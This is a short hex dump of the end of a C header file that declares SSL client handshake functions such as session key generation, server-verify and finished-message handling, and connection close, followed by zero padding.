|00006240| 6e 74 20 6b 65 79 5f 61 | 72 67 5f 6f 76 65 72 77 |nt key_a|rg_overw|
|00006250| 72 69 74 65 5f 6c 65 6e | 29 3b 0a 76 6f 69 64 20 |rite_len|);.void |
|00006260| 67 65 6e 65 72 61 74 65 | 5f 73 65 73 73 69 6f 6e |generate|_session|
|00006270| 5f 6b 65 79 73 28 73 74 | 72 75 63 74 20 73 73 6c |_keys(st|ruct ssl|
|00006280| 5f 63 6f 6e 6e 2a 20 73 | 73 6c 29 3b 0a 69 6e 74 |_conn* s|sl);.int|
|00006290| 20 67 65 74 5f 73 65 72 | 76 65 72 5f 76 65 72 69 | get_ser|ver_veri|
|000062a0| 66 79 28 73 74 72 75 63 | 74 20 73 73 6c 5f 63 6f |fy(struc|t ssl_co|
|000062b0| 6e 6e 2a 20 73 73 6c 29 | 3b 0a 69 6e 74 20 73 65 |nn* ssl)|;.int se|
|000062c0| 6e 64 5f 63 6c 69 65 6e | 74 5f 66 69 6e 69 73 68 |nd_clien|t_finish|
|000062d0| 65 64 28 73 74 72 75 63 | 74 20 73 73 6c 5f 63 6f |ed(struc|t ssl_co|
|000062e0| 6e 6e 2a 20 73 73 6c 29 | 3b 0a 69 6e 74 20 67 65 |nn* ssl)|;.int ge|
|000062f0| 74 5f 73 65 72 76 65 72 | 5f 66 69 6e 69 73 68 65 |t_server|_finishe|
|00006300| 64 28 73 74 72 75 63 74 | 20 73 73 6c 5f 63 6f 6e |d(struct| ssl_con|
|00006310| 6e 2a 20 73 73 6c 2c 20 | 75 6e 73 69 67 6e 65 64 |n* ssl, |unsigned|
|00006320| 20 63 68 61 72 2a 20 62 | 75 66 2c 20 69 6e 74 20 | char* b|uf, int |
|00006330| 62 75 66 5f 73 69 7a 65 | 29 3b 0a 69 6e 74 20 67 |buf_size|);.int g|
|00006340| 65 74 5f 73 65 72 76 65 | 72 5f 65 72 72 6f 72 28 |et_serve|r_error(|
|00006350| 73 74 72 75 63 74 20 73 | 73 6c 5f 63 6f 6e 6e 2a |struct s|sl_conn*|
|00006360| 20 73 73 6c 29 3b 0a 69 | 6e 74 20 73 73 6c 5f 63 | ssl);.i|nt ssl_c|
|00006370| 6c 6f 73 65 28 73 74 72 | 75 63 74 20 73 73 6c 5f |lose(str|uct ssl_|
|00006380| 63 6f 6e 6e 20 2a 73 73 | 6c 29 3b 0a 0a 2f 2a 20 |conn *ss|l);../* |
|00006390| 45 4f 46 20 2a 2f 0a 00 | 00 00 00 00 00 00 00 00 |EOF */..|........|
|000063a0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000063b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000063c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000063d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000063e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000063f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
+--------+-------------------------+-------------------------+--------+--------+